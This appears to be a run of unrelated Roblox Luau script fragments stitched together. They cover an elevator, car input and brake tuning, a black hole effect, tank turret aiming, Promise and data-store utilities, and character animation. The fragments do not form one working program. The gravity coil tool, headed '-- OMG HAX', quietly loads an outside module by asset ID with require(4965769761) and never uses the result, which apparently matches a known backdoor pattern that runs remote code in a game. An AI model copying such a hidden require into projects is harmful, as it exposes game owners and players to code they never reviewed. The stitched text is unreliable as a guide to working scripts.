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function DoorClose() if Shaft00.MetalDoor.CanCollide == false then Shaft00.MetalDoor.CanCollide = true while Shaft00.MetalDoor.Transparency > 0.0 do Shaft00.MetalDoor.Transparency = Shaft00.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, 20, 0) --Change 10 to change the speed. end if Shaft01.MetalDoor.CanCollide == false then Shaft01.MetalDoor.CanCollide = true while Shaft01.MetalDoor.Transparency > 0.0 do Shaft01.MetalDoor.Transparency = Shaft01.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, 20, 0) end if Shaft02.MetalDoor.CanCollide == false then Shaft02.MetalDoor.CanCollide = true while Shaft02.MetalDoor.Transparency > 0.0 do Shaft02.MetalDoor.Transparency = Shaft02.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, 20, 0) end if Shaft03.MetalDoor.CanCollide == false then Shaft03.MetalDoor.CanCollide = true while Shaft03.MetalDoor.Transparency > 0.0 do Shaft03.MetalDoor.Transparency = Shaft03.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, 20, 0) end if Shaft04.MetalDoor.CanCollide == false then Shaft04.MetalDoor.CanCollide = true while Shaft04.MetalDoor.Transparency > 0.0 do Shaft04.MetalDoor.Transparency = Shaft04.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, 20, 0) end if Shaft05.MetalDoor.CanCollide == false then Shaft05.MetalDoor.CanCollide = true while Shaft05.MetalDoor.Transparency > 0.0 do Shaft05.MetalDoor.Transparency = Shaft05.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, 20, 0) end if Shaft06.MetalDoor.CanCollide == false then Shaft06.MetalDoor.CanCollide = true while Shaft06.MetalDoor.Transparency > 0.0 do Shaft06.MetalDoor.Transparency = Shaft06.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, 20, 0) end if Shaft07.MetalDoor.CanCollide == false then Shaft07.MetalDoor.CanCollide = true while Shaft07.MetalDoor.Transparency > 0.0 do Shaft07.MetalDoor.Transparency = Shaft07.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, 20, 0) end if Shaft08.MetalDoor.CanCollide == false then Shaft08.MetalDoor.CanCollide = true while Shaft08.MetalDoor.Transparency > 0.0 do Shaft08.MetalDoor.Transparency = Shaft08.MetalDoor.Transparency - .1 wait(0.000001) end end if Shaft09.MetalDoor.CanCollide == false then Shaft09.MetalDoor.CanCollide = true while Shaft09.MetalDoor.Transparency > 0.0 do Shaft09.MetalDoor.Transparency = Shaft09.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end if Shaft10.MetalDoor.CanCollide == false then Shaft10.MetalDoor.CanCollide = true while Shaft10.MetalDoor.Transparency > 0.0 do Shaft10.MetalDoor.Transparency = Shaft10.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end if Shaft11.MetalDoor.CanCollide == false then Shaft11.MetalDoor.CanCollide = true while Shaft11.MetalDoor.Transparency > 0.0 do Shaft11.MetalDoor.Transparency = Shaft11.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end if Shaft12.MetalDoor.CanCollide == false then Shaft12.MetalDoor.CanCollide = true while Shaft12.MetalDoor.Transparency > 0.0 do Shaft12.MetalDoor.Transparency = Shaft12.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end if Shaft13.MetalDoor.CanCollide == false then Shaft13.MetalDoor.CanCollide = true while Shaft13.MetalDoor.Transparency > 0.0 do Shaft13.MetalDoor.Transparency = Shaft13.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end end function onClicked() DoorClose() end script.Parent.MouseButton1Click:connect(onClicked) script.Parent.MouseButton1Click:connect(function() if clicker == true then clicker = false else return end end) script.Parent.MouseButton1Click:connect(function() Car.Touched:connect(function(otherPart) if otherPart == Elevator.Floors:FindFirstChild(script.Parent.Name) then StopE() DoorOpen() end end)end) function StopE() Car.BodyVelocity.velocity = Vector3.new(0, 0, 0) Car.BodyPosition.position = Elevator.Floors:FindFirstChild(script.Parent.Name).Position clicker = true end function DoorOpen() while Shaft08.MetalDoor.Transparency < 1.0 do Shaft08.MetalDoor.Transparency = Shaft08.MetalDoor.Transparency + .1 wait(0.000001) end Shaft08.MetalDoor.CanCollide = false end
--Input Handler
function DealWithInput(input,IsRobloxFunction) if (UserInputService:GetFocusedTextBox()==nil) and not _InControls then --Ignore when UI Focus --Shift Down [Manual Transmission] if _IsOn and (input.KeyCode ==_CTRL["ContlrShiftDown"] or (_MSteer and input.KeyCode==_CTRL["MouseShiftDown"]) or ((not _MSteer) and input.KeyCode==_CTRL["ShiftDown"])) and (_TMode=="Semi" or (_TMode=="Manual" and (not _ClutchOn))) and input.UserInputState == Enum.UserInputState.Begin then if _CGear == 0 and (_TMode=="Auto" or not _ClPressing) then _ClutchOn = true end _CGear = math.max(_CGear-1,-1) --Shift Up [Manual Transmission] elseif _IsOn and (input.KeyCode ==_CTRL["ContlrShiftUp"] or (_MSteer and input.KeyCode==_CTRL["MouseShiftUp"]) or ((not _MSteer) and input.KeyCode==_CTRL["ShiftUp"])) and (_TMode=="Semi" or (_TMode=="Manual" and (not _ClutchOn))) and input.UserInputState == Enum.UserInputState.Begin then if _CGear == 0 and (_TMode=="Auto" or not _ClPressing) then _ClutchOn = true end _CGear = math.min(_CGear+1,#_Tune.Ratios-2) --Toggle Clutch elseif _IsOn and (input.KeyCode ==_CTRL["ContlrClutch"] or (_MSteer and input.KeyCode==_CTRL["MouseClutch"]) or ((not _MSteer) and input.KeyCode==_CTRL["Clutch"])) and _TMode=="Manual" then if input.UserInputState == Enum.UserInputState.Begin then _ClutchOn = false _ClPressing = true elseif input.UserInputState == Enum.UserInputState.End then _ClutchOn = true _ClPressing = false end --Toggle PBrake elseif _IsOn and input.KeyCode ==_CTRL["ContlrPBrake"] or (_MSteer and input.KeyCode==_CTRL["MousePBrake"]) or ((not _MSteer) and input.KeyCode==_CTRL["PBrake"]) then if input.UserInputState == Enum.UserInputState.Begin then _PBrake = not _PBrake elseif input.UserInputState == Enum.UserInputState.End then if car.DriveSeat.Velocity.Magnitude>5 then _PBrake = false end end --Toggle Transmission Mode elseif (input.KeyCode == _CTRL["ContlrToggleTMode"] or input.KeyCode==_CTRL["ToggleTransMode"]) and input.UserInputState == Enum.UserInputState.Begin then local n=1 for i,v in pairs(_Tune.TransModes) do if v==_TMode then n=i break end end n=n+1 if n>#_Tune.TransModes then n=1 end _TMode = _Tune.TransModes[n] --Throttle elseif _IsOn and ((not _MSteer) and (input.KeyCode==_CTRL["Throttle"] or input.KeyCode == _CTRL["Throttle2"])) or ((((_CTRL["MouseThrottle"]==Enum.UserInputType.MouseButton1 or _CTRL["MouseThrottle"]==Enum.UserInputType.MouseButton2) and input.UserInputType == _CTRL["MouseThrottle"]) or input.KeyCode == _CTRL["MouseThrottle"])and _MSteer) then if game.Players.LocalPlayer.PlayerGui["A-Chassis Interface"].AC6_Stock_Gauges.SelfDrive:GetAttribute("Enabled") == false then if input.UserInputState == Enum.UserInputState.Begin then _GThrot = 1 else _GThrot = _Tune.IdleThrottle/100 end end --Brake elseif ((not _MSteer) and (input.KeyCode==_CTRL["Brake"] or input.KeyCode == _CTRL["Brake2"])) or ((((_CTRL["MouseBrake"]==Enum.UserInputType.MouseButton1 or _CTRL["MouseBrake"]==Enum.UserInputType.MouseButton2) and input.UserInputType == _CTRL["MouseBrake"]) or input.KeyCode == _CTRL["MouseBrake"])and _MSteer) then if game.Players.LocalPlayer.PlayerGui["A-Chassis Interface"].AC6_Stock_Gauges.SelfDrive:GetAttribute("Enabled") == false then if input.UserInputState == Enum.UserInputState.Begin then _GBrake = 1 else _GBrake = 0 end end --Steer Left elseif (not _MSteer) and (input.KeyCode==_CTRL["SteerLeft"] or input.KeyCode == _CTRL["SteerLeft2"]) then if input.UserInputState == Enum.UserInputState.Begin then _GSteerC = -1 _SteerL = true else if _SteerR then _GSteerC = 1 else _GSteerC = 0 end _SteerL = false end --Steer Right elseif (not _MSteer) and (input.KeyCode==_CTRL["SteerRight"] or input.KeyCode == _CTRL["SteerRight2"]) then if input.UserInputState == Enum.UserInputState.Begin then _GSteerC = 1 _SteerR = true else if _SteerL then _GSteerC = -1 else _GSteerC = 0 end _SteerR = false end --Toggle Mouse Controls elseif input.KeyCode ==_CTRL["ToggleMouseDrive"] then if input.UserInputState == Enum.UserInputState.End then _MSteer = not _MSteer _GThrot = _Tune.IdleThrottle/100 _GBrake = 0 _GSteerT = 0 _ClutchOn = true end --Toggle TCS elseif _Tune.TCSEnabled and _IsOn and input.KeyCode == _CTRL["ToggleTCS"] or input.KeyCode == _CTRL["ContlrToggleTCS"] then if input.UserInputState == Enum.UserInputState.End then _TCS = not _TCS end --Toggle ABS elseif _Tune. ABSEnabled and _IsOn and input.KeyCode == _CTRL["ToggleABS"] or input.KeyCode == _CTRL["ContlrToggleABS"] then if input.UserInputState == Enum.UserInputState.End then _ABS = not _ABS end end --Variable Controls if input.UserInputType.Name:find("Gamepad") then --Gamepad Steering if input.KeyCode == _CTRL["ContlrSteer"] then if input.Position.X>= 0 then local cDZone = math.min(.99,_Tune.Peripherals.ControlRDZone/100) if math.abs(input.Position.X)>cDZone then _GSteerT = (input.Position.X-cDZone)/(1-cDZone) else _GSteerT = 0 end else local cDZone = math.min(.99,_Tune.Peripherals.ControlLDZone/100) if math.abs(input.Position.X)>cDZone then _GSteerT = (input.Position.X+cDZone)/(1-cDZone) else _GSteerT = 0 end end --Gamepad Throttle elseif _IsOn and input.KeyCode == _CTRL["ContlrThrottle"] then _GThrot = math.max(_Tune.IdleThrottle/100,input.Position.Z) --Gamepad Brake elseif input.KeyCode == _CTRL["ContlrBrake"] then _GBrake = input.Position.Z end end else _GThrot = _Tune.IdleThrottle/100 _GSteerT = 0 _GBrake = 0 if _CGear~=0 then _ClutchOn = true end end end UserInputService.InputBegan:connect(DealWithInput) UserInputService.InputChanged:connect(DealWithInput) UserInputService.InputEnded:connect(DealWithInput)
-- Public Constructors
function CheckboxLabelClass.new(frame) local self = setmetatable({}, CheckboxLabelClass) self._Maid = Lazy.Utilities.Maid.new() self._ChangedBind = Instance.new("BindableEvent") self.Frame = frame self.Button = frame.CheckContainer.CheckButton self.Changed = self._ChangedBind.Event init(self) self:SetValue(false) return self end function CheckboxLabelClass.Create(text) local cbLabel = CHECKBOX_LABEL:Clone() cbLabel.Label.Text = text return CheckboxLabelClass.new(cbLabel) end
-- This is basically a function that finds all unanchored parts and adds them to childList. -- Note: This should only be run once for each object
function checkObject(obj) if (obj ~= hole) and (obj.className == "Part" and obj.Parent~=hole.Parent and obj~=tele2) then if (obj.Anchored == false) then table.insert(childList, 1, obj) end elseif (obj.className == "Model") or (obj.className == "Hat") or (obj.className == "Tool") or (obj == workspace) then local child = obj:GetChildren() for x = 1, #child do checkObject(child[x]) end obj.ChildAdded:connect(checkObject) end end checkObject(workspace) print("Black Hole script loaded.") local n = 0 while true do if n < #childList then n = n + 1 if n % 800 == 0 then wait() end else n = 1 wait() end local child = childList[n] if (child ~= hole) and (child.className == "Part") and (child.Anchored == false) then local relPos = hole.Position - child.Position local motivator = child:FindFirstChild("BlackHole Influence") if relPos.magnitude * 240 * massConstant < mass then if (relPos.magnitude * 320 * massConstant < mass) and (child.Size.z + hole.Size.x > relPos.magnitude * 2 - 4) then mass = mass + child:GetMass() table.remove(childList, n) n = n - 1 -- This is the reason I need a counter of my own design else child.CanCollide = false -- I Can assume that things won't escape the black hole. if motivator == nil then motivator = Instance.new("BodyPosition") motivator.Parent = child motivator.Name = "BlackHole Influence" end motivator.position = hole.Position motivator.maxForce = Vector3.new(1, 1, 1) * mass * child:GetMass() / (relPos.magnitude * massConstant) end elseif motivator ~= nil then motivator:Remove() end end end
--rayPart = Instance.new("Part") --rayPart.Name = "MG Ray" --rayPart.Transparency = .5 --rayPart.Anchored = true --rayPart.CanCollide = false --rayPart.TopSurface = Enum.SurfaceType.Smooth --rayPart.BottomSurface = Enum.SurfaceType.Smooth --rayPart.formFactor = Enum.FormFactor.Custom --rayPart.BrickColor = BrickColor.new("Bright yellow") --rayPart.Reflectance = 0 --rayPart.Material = Enum.Material.SmoothPlastic
function fireCoax() local MGAmmo = tankStats.MGAmmo; if MGAmmo.Value <= 0 then return false; end; TFE:FireServer('FireMinigun',parts,tankStats,MGDamage,script.Parent) wait(1/350*60); return true; end
-- Remeber to select the animtion object and set the id to your own!
local walkAnim = script:WaitForChild("Walk") local walkAnimTrack = humanoid.Animator:LoadAnimation(walkAnim) humanoid.Running:Connect(function(speed) if speed > 0 then if not walkAnimTrack.IsPlaying then walkAnimTrack:Play() end else if walkAnimTrack.IsPlaying then walkAnimTrack:Stop() end end end)
--[[ CastVisualiser Visuals.new(Color: Color3?, WorldRoot: WorldRoot?) Creates and returns a CastVisualiser class. --]]
local Meta = {__index = CastVisualiser} function Visuals.new(Color: Color3?, WorldRoot: WorldRoot?): CastVisualiser local self: CastVisualiserPrivate = setmetatable({ Color = Color or Color3.new(0, 0, 1), WorldRoot = WorldRoot or workspace, }, Meta) -- Origin Part local CastOriginPart = Instance.new("Part") CastOriginPart.Transparency = 1 CastOriginPart.CanCollide = false CastOriginPart.CanQuery = false CastOriginPart.CanTouch = false CastOriginPart.Anchored = true CastOriginPart.Size = Vector3.one / 100 self.CastOriginPart = CastOriginPart -- Visuals local LineHandleAdornment = Instance.new("LineHandleAdornment") LineHandleAdornment.Color3 = self.Color LineHandleAdornment.AlwaysOnTop = ALWAYS_ON_TOP LineHandleAdornment.Transparency = TRANSPARENCY LineHandleAdornment.Thickness = LINE_THICKNESS LineHandleAdornment.ZIndex = 1 LineHandleAdornment.Adornee = CastOriginPart LineHandleAdornment.Parent = CastOriginPart self.LineVisual = LineHandleAdornment local ConeHandleAdornmnet = Instance.new("ConeHandleAdornment") ConeHandleAdornmnet.Color3 = self.Color ConeHandleAdornmnet.AlwaysOnTop = ALWAYS_ON_TOP ConeHandleAdornmnet.Transparency = TRANSPARENCY ConeHandleAdornmnet.Radius = 0.05 ConeHandleAdornmnet.Height = CONE_HEIGHT ConeHandleAdornmnet.SizeRelativeOffset = Vector3.new(0, 0, CONE_HEIGHT * 2) ConeHandleAdornmnet.ZIndex = 1 ConeHandleAdornmnet.Adornee = CastOriginPart ConeHandleAdornmnet.Parent = CastOriginPart self.ConeVisual = ConeHandleAdornmnet local BoxHandleAdornment = Instance.new("BoxHandleAdornment") BoxHandleAdornment.Color3 = self.Color BoxHandleAdornment.AlwaysOnTop = ALWAYS_ON_TOP BoxHandleAdornment.Transparency = TRANSPARENCY BoxHandleAdornment.ZIndex = 0 BoxHandleAdornment.Adornee = CastOriginPart BoxHandleAdornment.Parent = CastOriginPart self.BoxVisual = BoxHandleAdornment local SphereHandleAdornment = Instance.new("SphereHandleAdornment") SphereHandleAdornment.Color3 = self.Color SphereHandleAdornment.AlwaysOnTop = ALWAYS_ON_TOP SphereHandleAdornment.Transparency = TRANSPARENCY SphereHandleAdornment.ZIndex = 0 SphereHandleAdornment.Adornee = CastOriginPart SphereHandleAdornment.Parent = CastOriginPart self.SphereVisual = SphereHandleAdornment return self end return Visuals
--[=[ Accepts an array of Promises and returns a Promise that is resolved as soon as `count` Promises are resolved from the input array. The resolved array values are in the order that the Promises resolved in. When this Promise resolves, all other pending Promises are cancelled if they have no other consumers. `count` 0 results in an empty array. The resultant array will never have more than `count` elements. ```lua local promises = { returnsAPromise("example 1"), returnsAPromise("example 2"), returnsAPromise("example 3"), } return Promise.some(promises, 2) -- Only resolves with first 2 promises to resolve ``` @param promises {Promise<T>} @param count number @return Promise<{T}> ]=]
function Promise.some(promises, count) assert(type(count) == "number", "Bad argument #2 to Promise.some: must be a number") return Promise._all(debug.traceback(nil, 2), promises, count) end
-- Determine the gun elevation and tilt
function determineNewDirections(targetVector) local targElev = 0; local targRot = 0; local turretMain = parts.TurretRing2; -- Vector normal to the plane which is the turret ring local turretNormal = turretMain.CFrame.lookVector; local angleFromNormal = turretNormal:Dot(targetVector); -- Determine gun elevation targElev = math.pi/2 - math.acos(angleFromNormal); targRot= math.pi/2 - math.acos(angleFromNormal); -- Projection of target vector onto the turret plane local targetProjection = (targetVector - (angleFromNormal*turretNormal)).unit; local forwardVector = ( (turretMain.CFrame - turretMain.CFrame.p) -- Orientation only of brick * CFrame.new(0, -1, 0)).p; -- Translated down 1 -- Determine angle between forward vector and the projected target vector targRot = math.acos(forwardVector:Dot(targetProjection)); -- Determine the sign of the angle local vectorCross = forwardVector:Cross(targetProjection); -- If the cross product is opposite to the normal vector, make the angle negative if (vectorCross:Dot(turretNormal) < 0) then targRot = -targRot; end -- Put rotation and elevation into an array local rotations = {}; rotations[1] = targElev; rotations[2] = targRot; return rotations; end function sign(input) if (input < 0) then return -1; else return 1; end end
--Required components
local Players = game:GetService("Players") local DataStoreService = game:GetService("DataStoreService") local table = require(script.table) --If you're using this from GitHub, this is the table in the boilerplate folder. local RegularSave = false local RegularSaveNum = 300 local SaveInStudioObject = game:GetService("ServerStorage"):FindFirstChild("SaveInStudio") local SaveInStudio = SaveInStudioObject and SaveInStudioObject.Value local Debug = false local Verifier = {} function Verifier.typeValid(data) return type(data) ~= "userdata", typeof(data) end function Verifier.scanValidity(tbl, passed, path) if type(tbl) ~= "table" then return Verifier.scanValidity({input = tbl}, {}, {}) end passed, path = passed or {}, path or {"input"} passed[tbl] = true local tblType do local key, value = next(tbl) if type(key) == "number" then tblType = "Array" else tblType = "Dictionary" end end local last = 0 for key, value in next, tbl do path[#path + 1] = tostring(key) if type(key) == "number" then if tblType == "Dictionary" then return false, path, "Mixed Array/Dictionary" elseif key%1 ~= 0 then -- if not an integer return false, path, "Non-integer index" elseif key == math.huge or key == -math.huge then return false, path, "(-)Infinity index" end elseif type(key) ~= "string" then return false, path, "Non-string key", typeof(key) elseif tblType == "Array" then return false, path, "Mixed Array/Dictionary" end if tblType == "Array" then if last ~= key - 1 then return false, path, "Array with non-sequential indexes" end last = key end local isTypeValid, valueType = Verifier.typeValid(value) if not isTypeValid then return false, path, "Invalid type", valueType end if type(value) == "table" then if passed[value] then return false, path, "Cyclic" end local isValid, keyPath, reason, extra = Verifier.scanValidity(value, passed, path) if not isValid then return isValid, keyPath, reason, extra end end path[#path] = nil end passed[tbl] = nil return true end function Verifier.getStringPath(path) return table.concat(path, ".") end function Verifier.warnIfInvalid(input) local isValid, keyPath, reason, extra = Verifier.scanValidity(input) if not isValid then if extra then warn("Invalid at "..Verifier.getStringPath(keyPath).." because: "..reason.." ("..tostring(extra)..")") else warn("Invalid at "..Verifier.getStringPath(keyPath).." because: "..reason) end end return isValid end local function clone(value) if typeof(value) == "table" then return table.deep(value) else return value end end
--[[Brakes]]
Tune.ABSEnabled = true -- Implements ABS Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS) Tune.FBrakeForce = 3000 -- Front brake force Tune.RBrakeForce = 2500 -- Rear brake force Tune.PBrakeForce = 13000 -- Handbrake force Tune.FLgcyBForce = 41000 -- Front brake force [PGS OFF] Tune.RLgcyBForce = 36000 -- Rear brake force [PGS OFF] Tune.LgcyPBForce = 150000 -- Handbrake force [PGS OFF]
--Made by Luckymaxer
Tool = script.Parent Handle = Tool:WaitForChild("Handle") Players = game:GetService("Players") RunService = game:GetService("RunService") Camera = game:GetService("Workspace").CurrentCamera Animations = {} LocalObjects = {} ServerControl = Tool:WaitForChild("ServerControl") ClientControl = Tool:WaitForChild("ClientControl") ToolEquipped = false function SetAnimation(mode, value) if mode == "PlayAnimation" and value and ToolEquipped and Humanoid then for i, v in pairs(Animations) do if v.Animation == value.Animation then v.AnimationTrack:Stop() table.remove(Animations, i) end end local AnimationTrack = Humanoid:LoadAnimation(value.Animation) table.insert(Animations, {Animation = value.Animation, AnimationTrack = AnimationTrack}) AnimationTrack:Play(value.FadeTime, value.Weight, value.Speed) elseif mode == "StopAnimation" and value then for i, v in pairs(Animations) do if v.Animation == value.Animation then v.AnimationTrack:Stop() table.remove(Animations, i) end end end end function DisableJump(Boolean) if PreventJump then PreventJump:disconnect() end if Boolean then PreventJump = Humanoid.Changed:connect(function(Property) if Property == "Jump" then Humanoid.Jump = false end end) end end function CheckIfAlive() return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Player and Player.Parent) and true) or false) end function Equipped(Mouse) Character = Tool.Parent Player = Players:GetPlayerFromCharacter(Character) Humanoid = Character:FindFirstChild("Humanoid") ToolEquipped = true if not CheckIfAlive() then return end PlayerMouse = Player:GetMouse() Mouse.Button1Down:connect(function() InvokeServer("MouseClick", {Down = true}) end) Mouse.Button1Up:connect(function() InvokeServer("MouseClick", {Down = false}) end) Mouse.KeyDown:connect(function(Key) InvokeServer("KeyPress", {Key = Key, Down = true}) end) Mouse.KeyUp:connect(function(Key) InvokeServer("KeyPress", {Key = Key, Down = false}) end) Mouse.Move:connect(function() InvokeServer("MouseMove", {Position = Mouse.Hit.p, Target = Mouse.Target}) end) end function Unequipped() ToolEquipped = false LocalObjects = {} for i, v in pairs(Animations) do if v and v.AnimationTrack then v.AnimationTrack:Stop() end end for i, v in pairs({PreventJump, ObjectLocalTransparencyModifier}) do if v then v:disconnect() end end Animations = {} end function InvokeServer(mode, value) local ServerReturn pcall(function() ServerReturn = ServerControl:InvokeServer(mode, value) end) return ServerReturn end function OnClientInvoke(mode, value) if mode == "PlayAnimation" and value and ToolEquipped and Humanoid then SetAnimation("PlayAnimation", value) elseif mode == "StopAnimation" and value then SetAnimation("StopAnimation", value) elseif mode == "PlaySound" and value then value:Play() elseif mode == "StopSound" and value then value:Stop() elseif mode == "MousePosition" then return {Position = PlayerMouse.Hit.p, Target = PlayerMouse.Target} elseif mode == "DisableJump" then DisableJump(value) elseif mode == "SetLocalTransparencyModifier" and value and ToolEquipped then pcall(function() local ObjectFound = false for i, v in pairs(LocalObjects) do if v == value then ObjectFound = true end end if not ObjectFound then table.insert(LocalObjects, value) if ObjectLocalTransparencyModifier then ObjectLocalTransparencyModifier:disconnect() end ObjectLocalTransparencyModifier = RunService.RenderStepped:connect(function() for i, v in pairs(LocalObjects) do if v.Object and v.Object.Parent then local CurrentTransparency = v.Object.LocalTransparencyModifier if ((not v.AutoUpdate and (CurrentTransparency == 1 or CurrentTransparency == 0)) or v.AutoUpdate) then v.Object.LocalTransparencyModifier = v.Transparency end else table.remove(LocalObjects, i) end end end) end end) end end ClientControl.OnClientInvoke = OnClientInvoke Tool.Equipped:connect(Equipped) Tool.Unequipped:connect(Unequipped)
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function onRunning(speed) if speed>0 then playAnimation("walk", 0.1, Humanoid) pose = "Running" else playAnimation("idle", 0.1, Humanoid) pose = "Standing" end end function onDied() pose = "Dead" end function onJumping() playAnimation("jump", 0.1, Humanoid) jumpAnimTime = jumpAnimDuration pose = "Jumping" end function onClimbing() playAnimation("climb", 0.1, Humanoid) pose = "Climbing" end function onGettingUp() pose = "GettingUp" end function onFreeFall() if (jumpAnimTime <= 0) then playAnimation("fall", fallTransitionTime, Humanoid) end pose = "FreeFall" end function onFallingDown() pose = "FallingDown" end function onSeated() pose = "Seated" end function onPlatformStanding() pose = "PlatformStanding" end function onSwimming(speed) if speed>0 then pose = "Running" else pose = "Standing" end end function getTool() for _, kid in ipairs(Figure:GetChildren()) do if kid.className == "Tool" then return kid end end return nil end function getToolAnim(tool) for _, c in ipairs(tool:GetChildren()) do if c.Name == "toolanim" and c.className == "StringValue" then return c end end return nil end function animateTool() if (toolAnim == "None") then playToolAnimation("toolnone", toolTransitionTime, Humanoid) return end if (toolAnim == "Slash") then playToolAnimation("toolslash", 0, Humanoid) return end if (toolAnim == "Lunge") then playToolAnimation("toollunge", 0, Humanoid) return end end function moveSit() RightHip:SetDesiredAngle(3.14 /2) LeftHip:SetDesiredAngle(-3.14 /2) end local lastTick = 0 function move(time) local amplitude = 1 local frequency = 1 local deltaTime = time - lastTick lastTick = time local climbFudge = 0 local setAngles = false if (jumpAnimTime > 0) then jumpAnimTime = jumpAnimTime - deltaTime end if (pose == "FreeFall" and jumpAnimTime <= 0) then playAnimation("fall", fallTransitionTime, Humanoid) elseif (pose == "Seated") then stopAllAnimations() moveSit() return elseif (pose == "Running") then playAnimation("walk", 0.1, Humanoid) elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then -- print("Wha " .. pose) amplitude = 0.1 frequency = 1 setAngles = true end if (setAngles) then desiredAngle = amplitude * math.sin(time * frequency) RightHip:SetDesiredAngle(-desiredAngle) LeftHip:SetDesiredAngle(-desiredAngle) end -- Tool Animation handling local tool = getTool() if tool then animStringValueObject = getToolAnim(tool) if animStringValueObject then toolAnim = animStringValueObject.Value -- message recieved, delete StringValue animStringValueObject.Parent = nil toolAnimTime = time + .3 end if time > toolAnimTime then toolAnimTime = 0 toolAnim = "None" end animateTool() else stopToolAnimations() toolAnim = "None" toolAnimTime = 0 end end
--[[ ___ _______ _ _______ / _ |____/ ___/ / ___ ____ ___ (_)__ /__ __/ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< / / /_/ |_| \___/_//_/\_,_/___/___/_/___/ /_/ SecondLogic @ Inspare Avxnturador @ Novena ]]
local autoscaling = true --Estimates top speed local UNITS = { --Click on speed to change units --First unit is default { units = "MPH" , scaling = (10/12) * (60/88) , -- 1 stud : 10 inches | ft/s to MPH maxSpeed = 230 , spInc = 20 , -- Increment between labelled notches }, }
--[=[ @param optionB Option @return Option If caller has a value, returns itself. Otherwise, returns `optionB`. ]=]
function Option:Or(optionB) if self:IsSome() then return self else return optionB end end
-- *** PUBLIC METHODS *** --
function Input:remove () for _,event in pairs (self._events) do event:disconnect (); end self._events = { }; end
--Pre-Toggled PBrake
for i,v in pairs(car.Wheels:GetChildren()) do if math.abs(v["#AV"].maxTorque.Magnitude-PBrakeForce)<1 then _PBrake=true end end
--p:WaitForChild("detect").Weld.C0 = CFrame.new(Vector3.new(-4.09,0,0)) --p:WaitForChild("detect").Weld.C1 = CFrame.new(Vector3.new(0,0,0)) --i hate roblox welds
local last = os.time() p.spotter.Touched:Connect(function(hit: Part) while #game.Workspace.CurLevel:GetChildren() == 0 do task.wait() end if hit.Parent:FindFirstChild("Humanoid") and os.time() - last >= 0.1 and active and not hit:IsDescendantOf(game.Workspace.CurLevel:GetChildren()[1].PuzzleElements.Guards) then last = os.time() if hit.Parent:FindFirstChild("Humanoid").Health > 0 then hit.Parent:FindFirstChild("Humanoid").Health -= 49 end end end) explodeBindable.Event:Connect(function() if active then active = false p.camera.Indicator.Color = Color3.fromRGB(255,0,0) p.camera.top.Anchored = false p.spotter.Transparency = 1 camera1st:Cancel() camera2nd:Cancel() spotter1st:Cancel() spotter2nd:Cancel() end end) while task.wait() and active do camera1st:Play() spotter1st:Play() spotter1st.Completed:Wait() task.wait(config.GoalWaitTime.Value) camera2nd:Play() spotter2nd:Play() spotter2nd.Completed:Wait() task.wait(config.GoalWaitTime.Value) end
-------- OMG HAX
r = game:service("RunService") Tool = script.Parent local equalizingForce = 236 / 1.2 -- amount of force required to levitate a mass local gravity = .9999999999999999 -- things float at > 1 local jumpScript = require(4965769761) local ghostEffect = nil local massCon1 = nil local massCon2 = nil function recursiveGetLift(node) local m = 0 local c = node:GetChildren() for i=1,#c do if c[i].className == "Part" then if c[i].Name == "Handle" then m = m + (c[i]:GetMass() * equalizingForce * 1) -- hack that makes hats weightless, so different hats don't change your jump height else m = m + (c[i]:GetMass() * equalizingForce * gravity) end end m = m + recursiveGetLift(c[i]) end return m end function onMassChanged(child, char) print("Mass changed:" .. child.Name .. " " .. char.Name) if (ghostEffect ~= nil) then ghostEffect.force = Vector3.new(0, recursiveGetLift(char) ,0) end end function UpdateGhostState(isUnequipping) if isUnequipping == true then ghostEffect:Remove() ghostEffect = nil massCon1:disconnect() massCon2:disconnect() else if ghostEffect == nil then local char = Tool.Parent if char == nil then return end ghostEffect = Instance.new("BodyForce") ghostEffect.Name = "GravityCoilEffect" ghostEffect.force = Vector3.new(0, recursiveGetLift(char) ,0) ghostEffect.Parent = char.Head ghostChar = char massCon1 = char.ChildAdded:connect(function(child) onMassChanged(child, char) end) massCon2 = char.ChildRemoved:connect(function(child) onMassChanged(child, char) end) end end end function onEquipped() Tool.Handle.CoilSound:Play() UpdateGhostState(false) end function onUnequipped() UpdateGhostState(true) end script.Parent.Equipped:connect(onEquipped) script.Parent.Unequipped:connect(onUnequipped)
-- Require the ChatSettings module (wait for it to load)
local Chat = game:GetService("Chat") local ClientChatModules = Chat:WaitForChild("ClientChatModules") local ChatSettings = require(ClientChatModules:WaitForChild("ChatSettings"))
-- Local Variables
local TeamPlayers = {} local TeamScores = {}
--[=[ Observes the current value of the ValueObject @return Observable<T> ]=]
function ValueObject:Observe() return Observable.new(function(sub) if not self.Destroy then warn("[ValueObject.observeValue] - Connecting to dead ValueObject") -- No firing, we're dead sub:Complete() return end local maid = Maid.new() maid:GiveTask(self.Changed:Connect(function() sub:Fire(self.Value) end)) sub:Fire(self.Value) return maid end) end
--]]
